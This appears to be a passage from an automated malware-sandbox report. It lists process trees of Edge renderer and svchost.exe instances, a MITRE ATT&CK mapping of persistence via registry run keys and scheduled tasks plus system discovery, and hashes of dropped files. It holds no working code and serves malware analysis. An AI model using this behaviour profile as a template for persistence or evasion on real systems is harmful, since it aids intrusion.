        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1
        9⤵
        
        PID:468
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
        9⤵
        
        PID:3428
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
        9⤵
        
        PID:1600
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6112 /prefetch:1
        9⤵
        
        PID:2164
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2280 /prefetch:1
        9⤵
        
        PID:5680
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6280 /prefetch:1
        9⤵
        
        PID:5780
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:1
        9⤵
        
        PID:5504
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:1
        9⤵
        
        PID:2264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6228 /prefetch:1
        9⤵
        
        PID:5576
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5796 /prefetch:1
        9⤵
        
        PID:6112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6808 /prefetch:1
        9⤵
        
        PID:3064
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6776 /prefetch:1
        9⤵
        
        PID:532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6784 /prefetch:1
        9⤵
        
        PID:6112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:1
        9⤵
        
        PID:5528
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6864 /prefetch:1
        9⤵
        
        PID:1736
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2156,5980767266426622602,2265163475623238310,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7040 /prefetch:1
        9⤵
        
        PID:5600
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:1940
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:3400
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1684
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:3600
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:4136
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:1968
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:756
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3180
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5604
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:5620
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:4408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:5452
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2368
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:2540
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0x100,0xfc,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:1664
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5520
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:2876
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5416
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5488
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:2172
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5368
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff270846f8,0x7fff27084708,0x7fff27084718
        9⤵
        
        PID:5480
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5560

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1852

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
25604a2821749d30ca35877a7669dff9

SHA1
49c624275363c7b6768452db6868f8100aa967be

SHA256
7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

SHA512
206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
443a627d539ca4eab732bad0cbe7332b

SHA1
86b18b906a1acd2a22f4b2c78ac3564c394a9569

SHA256
1e1ad9dce141f5f17ea07c7e9c2a65e707c9943f172b9134b0daf9eef25f0dc9

SHA512
923b86d75a565c91250110162ce13dd3ef3f6bdde1a83f7af235ed302d4a96b8c9ed722e2152781e699dfcb26bb98afc73f5adb298f8fd673f14c9f28b5f764d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
99afa4934d1e3c56bbce114b356e8a99

SHA1
3f0e7a1a28d9d9c06b6663df5d83a65c84d52581

SHA256
08e098bb97fd91d815469cdfd5568607a3feca61f18b6b5b9c11b531fde206c8

SHA512
76686f30ed68144cf943b80ac10b52c74eee84f197cee3c24ef7845ef44bdb5586b6e530824543deeed59417205ac0e2559808bcb46450504106ac8f4c95b9da

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\2f45e5c1-8896-43f8-b1e1-75233f09c7df.tmp

Filesize
371B

MD5
6fd7f1bf11eee904d59973880a88703f

SHA1
3357a7c916e576bfd9d7e0a6bb9a7ec05dc1fdc9

SHA256
5ee542df389e34d62e7ba5be2f68f7dc23133862dcd816d4083d6634b88f8b5e

SHA512
78279ca59bf596157ad692a131bb11604fd761009f4fe10edb44731c5d74b60a1aa8ffc9a14985fb43453a562b333d211b6c123c3a02cf595344b324c557f398

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000001

Filesize
68KB

MD5
debb8e478711b4da34163f63d2f86e19

SHA1
17fb8d650de3bccc647ada89a1d2e8a17484ef29

SHA256
7f3c5e4a4880f736cebf61db91f751c5c6e7e29306cf2705c86e0554aa4e2a13

SHA512
f1d8417e134a32fffe089166fdd6fa4e3ee26fd9800557560632c1bcbc45f0064e2a9457c6a5b912df408d1f77f09b27a4b81c44080ac1c0f4f5e40f9f31e5a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002

Filesize
486KB

MD5
9125f2721f58f9446c6fd7d5b0691f3f

SHA1
acc0ba9eb5ce3a7eff9d5de315657b6e2f89f4a8

SHA256
89097617406a425e08998ba9c248c247f0b7fcd5fcaf77c5244de54c06416921

SHA512
26b1cc0154bf7aca16070dfbd78911630ee332c3891d9f239a25e27ebf6c08823e4e3800b17d979e9549a70d9d8732723915b05c1a24463df41adf0b78456a8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

Filesize
89KB

MD5
6c66566329b8f1f2a69392a74e726d4c

SHA1
7609ceb7d28c601a8d7279c8b5921742a64d28ce

SHA256
f512f4fb0d4855fc4aa78e26516e9ec1cfabc423a353cd01bc68ee6098dc56d6

SHA512
aca511bfaf9b464aff7b14998f06a7e997e22fcbe7728401a1e4bd7e4eceb8c938bbd820a16d471d0b5a0589d8807b426b97292fc2a28578a62e4681185556c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

Filesize
79KB

MD5
e51f388b62281af5b4a9193cce419941

SHA1
364f3d737462b7fd063107fe2c580fdb9781a45a

SHA256
348404a68791474349e35bd7d1980abcbf06db85132286e45ad4f204d10b5f2c

SHA512
1755816c26d013d7b610bab515200b0f1f2bd2be0c4a8a099c3f8aff2d898882fd3bcf1163d0378916f4c5c24222df5dd7b18df0c8e5bf2a0ebef891215f148e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

Filesize
34KB

MD5
522037f008e03c9448ae0aaaf09e93cb

SHA1
8a32997eab79246beed5a37db0c92fbfb006bef2

SHA256
983c35607c4fb0b529ca732be42115d3fcaac947cee9c9632f7cacdbdecaf5a7

SHA512
643ec613b2e7bdbb2f61e1799c189b0e3392ea5ae10845eb0b1f1542a03569e886f4b54d5b38af10e78db49c71357108c94589474b181f6a4573b86cf2d6f0d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

Filesize
17KB

MD5
240c4cc15d9fd65405bb642ab81be615

SHA1
5a66783fe5dd932082f40811ae0769526874bfd3

SHA256
030272ce6ba1beca700ec83fded9dbdc89296fbde0633a7f5943ef5831876c07

SHA512
267fe31bc25944dd7b6071c2c2c271ccc188ae1f6a0d7e587dcf9198b81598da6b058d1b413f228df0cb37c8304329e808089388359651e81b5f3dec566d0ee0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

Filesize
19KB

MD5
4d0bfea9ebda0657cee433600ed087b6

SHA1
f13c690b170d5ba6be45dedc576776ca79718d98

SHA256
67e7d8e61b9984289b6f3f476bbeb6ceb955bec823243263cf1ee57d7db7ae9a

SHA512
9136adec32f1d29a72a486b4604309aa8f9611663fa1e8d49079b67260b2b09cefdc3852cf5c08ca9f5d8ea718a16dbd8d8120ac3164b0d1519d8ef8a19e4ea5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

Filesize
259KB

MD5
34504ed4414852e907ecc19528c2a9f0

SHA1
0694ca8841b146adcaf21c84dedc1b14e0a70646

SHA256
c5327ac879b833d7a4b68e7c5530b2040d31e1e17c7a139a1fdd3e33f6102810

SHA512
173b454754862f7750eaef45d9acf41e9da855f4584663f42b67daed6f407f07497348efdfcf14feeeda773414081248fec361ac4d4206f1dcc283e6a399be2f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009

Filesize
32KB

MD5
6e78ee324e008296108bfcdecd77e318

SHA1
f7c39ee02c65bceb2c66ad2d7f45523feb5ad156

SHA256
eb7a4ff0f8ed4c8a95b2183968b5a59f4058b177f580ae2d2bef4595b6f6e092

SHA512
bcfff936bcc46ab4120690cff3af93491080e13084ea2bcd8bce1a2470ea86eb007d695aef23b73e0b84cb3c7fbf351d025be47ec5d232ab613a420074f8a448

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\1a6c21ba34b7eb2c_0

Filesize
297B

MD5
1345d6f8639f2e036cb843551f14159d

SHA1
f9ebfb2b8dd0f5cb82b4dbec4f514c35330304f0

SHA256
b7263b8412d9b222ed898adcdbe15c0bbd0debf2576622d1762b7feb10d411e0

SHA512
bb698e0674fc01ceec613b5e774c5b3bd9c21cc6f935191bfdcb185b23d65cad5a2d684f0c4e609a2d209c6ffe16600bd1215ec1200c8235bd2b81925915cf2f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\27ed6d3cc6961400_0

Filesize
1KB

MD5
324f9a87450d43ef10938884f518da1e

SHA1
1e5c9a727d267d4978a348d531989770cb346a4e

SHA256
28df22daf877c98893a62639bb9409875ca7ee83fcd59f3272a4321651a882f3

SHA512
68e2cbc44661818a7ba6eb85c2a059aac3eb84847155a1438b35cfeffc87912600203214c2937a112eaeecfc49e0b8679d801de0ebe0a01076d110a4504859bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3ab592dde6ff023e_0

Filesize
272B

MD5
20a7177a534762c2bf5857a9d25a84ca

SHA1
65e176ece8fa52760d521fd59ea96a841abd5fba

SHA256
2a3906ac590fb825c473e4dfaabc13eeb3de62e0cc03d5322ef9e7cb03f41b67

SHA512
308cd18380708ea3a85f96fe3073db9b2a8c8491445e097bb569f0131ad990bf9bb31f291366243597fa7618ec44e562c1381bb3f789cf11a37e2b311fa4ae4f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\62f33625a4514d8e_0

Filesize
295KB

MD5
5b18e43508ba61976ab5bff80889ac5d

SHA1
b3eb811b499d898b7baea44da0a394fedcfe59e9

SHA256
5c540b6f106e5b3b9aa97f974f1be593f99a405d2a248aacc6914a3b87809b2f

SHA512
83f8203b1abeed778bd35b4b6264f7b811ae70bf5007d03ed04b5c05e28233270f50b709fce56387107d52037bb0c52fc0c5d465b822075a674dcd38a3aa63f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\67c896e8aae559d2_0

Filesize
291B

MD5
0a71b69ff411571b9317aea4a55149e0

SHA1
2961191c1d1112e54dc57be3649fbea7f50ced7e

SHA256
58ff80c6adda15dfc4d3ff3cc50cba7f2248ece829aad3fcf553263a4374cb87

SHA512
02491bec6a004351abb203496f6e385ccb2bd468049d15050071df6c81852022618124f0cccc6f877d397ec68fcae9eb4fe06ed03f90111875e339e62268792e

Download Submit
